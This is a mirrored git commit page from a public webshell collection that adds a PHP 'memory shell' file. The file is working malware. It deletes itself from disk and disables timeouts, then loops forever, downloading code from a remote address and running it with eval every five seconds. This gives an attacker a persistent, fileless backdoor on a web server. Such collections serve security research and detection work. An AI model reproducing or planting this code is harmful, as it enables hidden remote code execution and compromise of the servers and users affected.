mirror of
https://github.com/tennc/webshell.git
synced 2025-12-06 04:41:28 +00:00
add MemphpShell @MemShell 👍
from :https://github.com/jweny/MemShellDemo
This commit is contained in:
13
php/MemShellForPHP/memWebshell.php
Normal file
13
php/MemShellForPHP/memWebshell.php
Normal file
@@ -0,0 +1,13 @@
|
|||||||
|
<?php
|
||||||
|
chmod($_SERVER['SCRIPT_FILENAME'], 0777);
|
||||||
|
unlink($_SERVER['SCRIPT_FILENAME']);
|
||||||
|
ignore_user_abort(true);
|
||||||
|
set_time_limit(0);
|
||||||
|
echo "success";
|
||||||
|
$remote_file = 'http://10.211.55.2/111/test.txt';
|
||||||
|
while($code = file_get_contents($remote_file)){
|
||||||
|
@eval($code);
|
||||||
|
echo "xunhuan";
|
||||||
|
sleep(5);
|
||||||
|
};
|
||||||
|
?>
|
||||||
Reference in New Issue
Block a user